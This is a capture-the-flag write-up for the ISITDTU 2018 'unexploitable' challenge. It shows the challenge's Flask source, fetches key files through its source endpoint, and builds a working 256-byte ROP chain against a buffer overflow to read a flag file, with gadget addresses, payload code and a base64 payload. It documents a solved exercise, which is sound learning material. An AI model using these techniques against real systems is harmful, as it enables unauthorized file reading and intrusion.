ISITDTU CTF 2018 Quals - unexploitable

7 Solves

I had secure service. Can u exploit it?

Link: Secure Service> http://206.189.83.108/

Attachment: unexploitable key1 key2 xpl.py

The link for unexploitable leads us to a website for guessing keys.

Website

So, the source code for the page is also available via Get Source

from flask import Flask, Response, render_template, session, request, jsonify, send_file
import os
from subprocess import run, STDOUT, PIPE, CalledProcessError
from base64 import b64decode, b64encode

app = Flask(__name__)
app.secret_key = open('private/secret.txt').read()

keys = {
  'key1': open('tmp/key1').read().strip(),
  'key2': open('tmp/key2').read().strip()
}


@app.route('/')
def main():
  if session.get('level') == None:
    session['level'] = 0
  
  return render_template('index.html', name="CNV", level = session['level'])

  
@app.route('/source', methods=['GET'])
def resouce():
  file_name = request.args.get('name')
  if '/' in file_name or '..' in file_name or 'private' in file_name:
    return 'Access Denied'
  file_path = 'tmp/' + file_name
  if os.path.isfile(file_path):
    return send_file(file_path)
  else:
    return render_template('index.html', name="CNV", level = session['level'])

    
@app.route('/exploit', methods=['POST'])
def exploit():
  if session.get('level') <= 1:
    return jsonify({'result': 'Only for supper user!'})
  
  try:
    data = request.get_json(force=True)
  except Exception:
    return jsonify({'result': 'Wrong data!'})
  
  try:
    payload = b64decode(data['payload'].encode())
  except TypeError:
    return jsonify({'result': 'Wrong data!'})
    
  try:
    #result = run(['tmp/unexploitable'], input=payload, stdout=PIPE, stderr=STDOUT, timeout=2, check=True).stdout
    result = run(['nc', 'localhost', '9999'], input=payload, stdout=PIPE, stderr=STDOUT, timeout=2, check=True).stdout
  except CalledProcessError:
    return jsonify({'result': 'Error run file!'})
    
  return jsonify({'result': result.decode()})
    

@app.route('/upto', methods=['POST'])
def upto():
  try:
    data = request.get_json(force=True)
  except Exception:
    return jsonify({'result': 'Wrong data!'})
  
  try:
    if session['level'] == 0 and data['type'] == 'key1' and data['key'] == keys['key1']:
      session['level'] = 1
      return jsonify({'result': 'Up to level 1!'})
    
    if session['level'] == 1 and data['type'] == 'key2' and data['key'] == keys['key2']:
      session['level'] = 2
      return jsonify({'result': 'Up to level 2!'})
  except Exception:
    return jsonify({'result': 'Wrong data!'})
  
  return jsonify({'result': 'Wrong key!'})
  
if __name__ == '__main__':
  app.run(host='0.0.0.0', port=8080)

Let’s take this apart

  • reads key1 from tmp/key1
  • reads key2 from tmp/key2
  • for getting to level 1 we need to provide the content of key1 (upto)
  • for getting to level 2 we need to provide the content of key2 (upto)
  • if we’re level2 we’re allowed to use the exploit service, which will b64decode our input and pass it to the unexploitable binary (via nc)

Ok, so first let’s get levelled up. For getting the source, the website navigated to http://206.189.83.108/source?name=app.py.

We can also use this to retrieve other files:

  • http://206.189.83.108/source?name=key1
  • http://206.189.83.108/source?name=key2

This rewards us with both key files, so we can jump to level2 by entering the content and select Up Level. When reaching level 2, we get a new input field and an Exploit button. This would be way easier, if we would have access to the binary itself.

  • http://206.189.83.108/source?name=unexploitable

takes care of this :)

So, thanks to DutChen18 for getting rid of that initial web stuff ;)

The binary is statically linked

unexploitable: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=973cda68e6c5ccc8f60cf2407f3210f187c52f8e, stripped

CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

and contains an obvious buffer overflow, when passing an input longer than 24 characters. So, this should lead to an easy ropchain challenge :)

We just have to consider, that it is run via the website, so we have no stdin to add input later on or reuse any leaks, so our ropchain has to be fire & forget and just do everything without additional input.

One could have guessed that the flag would be located at /home/unexploitable/flag but I wasted the most time trying getting some ls / ls /home / ls /home/unexploitable ready just to realize the obvious, so I spare you the pain until there, and just get on with the open/read/write approach I used in the end ;)

The main problem that remains is getting the needed strings to some known address to use it for an execve or open/read/write ropchain. Since ASLR is active, we cannot reference strings directly from our payload. We should place them somewhere more convenient, like the bss.

While enumerating the directories on the server to find the flag location, I switched from different methods of putting the strings to bss, since I always reached the input limit of 256 chars for our payload.

Starting from just popping the values into a register, pop the destination address into another and then use a mov [rxx], rxx to write the value to the bss. But for doing a ls /home/unexploitable this ultimately reached the input limit, so I switched to some other tricks for getting the strings moved to bss.

0x434eb4:  mov    rcx,QWORD PTR [rsi]
0x434eb7:  mov    QWORD PTR [rdi+0x7],rdx
0x434ebb:  mov    QWORD PTR [rdi],rcx
0x434ebe:  ret

Before executing this gadget, we’ll pop the destination address (0x6c9198) into rdi and the string "eexploit" into rdx.

When the ropchain starts, rsi will point to the start of our payload. So it will store the first 8 bytes of our payload into rcx (for this we’ll put “/home/un”” at the start of our payload).

mov [rdi+0x7], rdx] will then write the value of rdx ("eexploit") to 0x6c9198+7

def exploit(r):
    payload = "/home/un"      # first string
    payload += "A"*8
    payload += "A"*8
    
    # write char 0-15
    payload += p64(POPRDX)
    payload += "eexploit"     # second string
    payload += p64(POPRDI)
    payload += p64(0x6c9198)  # Buffer
    payload += p64(0x434eb4)  # Gadget
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x4002c8 --> 0x1d058b4808ec8348 
RCX: 0x6e752f656d6f682f ('/home/un')
RDX: 0x74696f6c70786565 ('eexploit')
RSI: 0x7fffffffe460 ("/home/un", 'A' <repeats 16 times>, "\006&D")
RDI: 0x6c9198 --> 0x6500000000000000 ('')
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe4a0 --> 0x4a0e5e --> 0xf00b74000022c359 
RIP: 0x434ebb --> 0xf00ff290c30f8948 
R8 : 0xd ('\r')
R9 : 0x6 
R10: 0x3c ('<')
R11: 0x346 
R12: 0x401540 --> 0x6c9ed8be415641 
R13: 0x4015d0 --> 0x8148006c9ef8bb53 
R14: 0x0 
R15: 0x0
EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x434eb0:  mov    rdx,QWORD PTR [rsi+0x7]
   0x434eb4:  mov    rcx,QWORD PTR [rsi]
   0x434eb7:  mov    QWORD PTR [rdi+0x7],rdx
=> 0x434ebb:  mov    QWORD PTR [rdi],rcx
   0x434ebe:  ret    
   0x434ebf:  nop
   0x434ec0:  lddqu  xmm0,[rsi+0x7e]
   0x434ec5:  movdqu XMMWORD PTR [rdi+0x7e],xmm0
[------------------------------------stack-------------------------------------]

gdb-peda$ x/4gx 0x6c9198
0x6c9198: 0x6500000000000000  0x0074696f6c707865
0x6c91a8: 0x0000000000000000  0x0000000000000000
gdb-peda$ x/s 0x6c9198+8
0x6c91a0: "exploit"

After that mov [rdi], rcx will write the content of rcx ("/home/un") to 0x6c9198 (overwriting the superfluous e from "eexploit").

gdb-peda$ x/4gx 0x6c9198
0x6c9198: 0x6e752f656d6f682f  0x0074696f6c707865
0x6c91a8: 0x0000000000000000  0x0000000000000000
gdb-peda$ x/s 0x6c9198
0x6c9198: "/home/unexploit"

Thus, we copied the first 15 chars while only wasting 5 gadgets (instead of 10 when using pop/pop/mov).

For the next 15 bytes, we cannot reuse rsi anymore, since it’s still pointing to the start of our payload, but we’ll reuse that gadget in a shorter form

0x434eb4:  mov    rcx,QWORD PTR [rsi]
0x434eb7:  mov    QWORD PTR [rdi+0x7],rdx
0x434ebb:  mov    QWORD PTR [rdi],rcx
0x434ebe:  ret
# write char 15-22
payload += p64(POPRCX)
payload += "able/fla"
payload += p64(POPRDX)
payload += "gg".ljust(8, "\x00")
payload += p64(POPRDI)
payload += p64(0x6c9198+15)
payload += p64(0x434eb7)

This time, we have to pop rcx for ourself and cannot rely on the first opcode filling it up, but still we only needed 7 gadgets to write the rest of the string to bss (where now /home/unexploitable/flag is stored).

We could now continue with an ordinary open/read/write ropchain

# open
payload += p64(POPRAX)
payload += p64(2)
payload += p64(POPRDI)
payload += p64(0x6c9198)  # filename
payload += p64(POPRSI)
payload += p64(0)
payload += p64(SYSCALL)

# read
payload += p64(POPRAX)
payload += p64(0)
payload += p64(POPRDI)
payload += p64(3)
payload += p64(POPRSI)
payload += p64(0x6c9198)  # dest buffer
payload += p64(POPRDX) 
payload += p64(100)       # read length
payload += p64(SYSCALL)

# write
payload += p64(POPRAX)
payload += p64(1)
payload += p64(POPRDI)
payload += p64(1)
payload += p64(SYSCALL)

But well, this will lead to a 288 bytes payload again :(

So, we’ll have to optimize this a little bit further. We can get rid of

payload += p64(POPRDI)
payload += p64(0x6c9198)  # filename

int the open ropchain, by just executing our bss write ropchain in the opposite order:

payload = "/home/un"
payload += "A"*8
payload += "A"*8

# write char 15-22
payload += p64(POPRCX)
payload += "able/fla"
payload += p64(POPRDX)
payload += "gg".ljust(8, "\x00")
payload += p64(POPRDI)
payload += p64(0x6c9198+15)
payload += p64(0x434eb7)

# write char 0-15
payload += p64(POPRDX)
payload += "eexploit"
payload += p64(POPRDI)
payload += p64(0x6c9198)
payload += p64(0x0000000000434eb4)
    
# open
payload += p64(POPRAX)
payload += p64(2)
payload += p64(POPRSI)
payload += p64(0)
payload += p64(SYSCALL)

Thus, rdi will already point to 0x6c9198 from writing the first 15 characters to bss so we don’t have to set it again.

payload += p64(POPRAX)
payload += p64(0)

In shellcode, we’ll nearly always set rax to 0 by using xor rax, rax. We can do the same here, since there’s is a xor rax, rax gadget in the binary, so we’ll change it to

payload += p64(XORRAX)

Still 264 bytes, one more gadget to get rid of. This last gadget was quite frustrating to find (though in hindsight, it might even have been easier to switch to an execve ropchain…)

0x4424d6:  mov    edx,0x64
0x4424db:  test   eax,eax
0x4424dd:  cmove  eax,edx
0x4424e0:  ret

Though, this might corrupt rax, it will definitely set rdx to a nice value for read, so let’s just execute this gadget before open (which will fixup the corrupted rax), and get rid of

payload += p64(POPRDX) 
payload += p64(100)       # read length

resulting in the final payload:

def exploit(r):
    payload = "/home/un"
    payload += "A"*8
    payload += "A"*8

    # write char 15-22
    payload += p64(POPRCX)
    payload += "able/fla"
    payload += p64(POPRDX)
    payload += "gg".ljust(8, "\x00")
    payload += p64(POPRDI)
    payload += p64(0x6c9198+15)
    payload += p64(0x434eb7)

    # write char 0-15
    payload += p64(POPRDX)
    payload += "eexploit"
    payload += p64(POPRDI)
    payload += p64(0x6c9198)
    payload += p64(0x434eb4)

    payload += p64(0x4424d6)  #mov edx, 8

    # open
    payload += p64(POPRAX)
    payload += p64(2)
    payload += p64(POPRSI)
    payload += p64(0)
    payload += p64(SYSCALL)

    # read
    payload += p64(XORRAX)    
    payload += p64(POPRDI)
    payload += p64(3)
    payload += p64(POPRSI)
    payload += p64(0x6c9198)
    payload += p64(SYSCALL)

    # write
    payload += p64(POPRAX)
    payload += p64(1)
    payload += p64(POPRDI)
    payload += p64(1)
    payload += p64(SYSCALL)

    print len(payload)
    print(base64.b64encode(payload))

    r.sendline(payload)

    r.interactive()

Exactly 256 bytes and on the local test environment it outputs the flag

[+] Starting local process './unexploitable': pid 2763
[2763]
[*] Paused (press any to continue)
256
L2hvbWUvdW5BQUFBQUFBQUFBQUFBQUFBXg5KAAAAAABhYmxlL2ZsYQYmRAAAAAAAZ2cAAAAAAACmFEAAAAAAAKeRbAAAAAAAt05DAAAAAAAGJkQAAAAAAGVleHBsb2l0phRAAAAAAACYkWwAAAAAALROQwAAAAAA1iREAAAAAACE3EYAAAAAAAIAAAAAAAAAxxVAAAAAAAAAAAAAAAAAANVvRgAAAAAAz11CAAAAAACmFEAAAAAAAAMAAAAAAAAAxxVAAAAAAACYkWwAAAAAANVvRgAAAAAAhNxGAAAAAAABAAAAAAAAAKYUQAAAAAAAAQAAAAAAAADVb0YAAAAAAA==
[*] Switching to interactive mode
test
/unexploitable/flag\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
$

So, let’s copy that base64 output and feed the website with it :)

Solution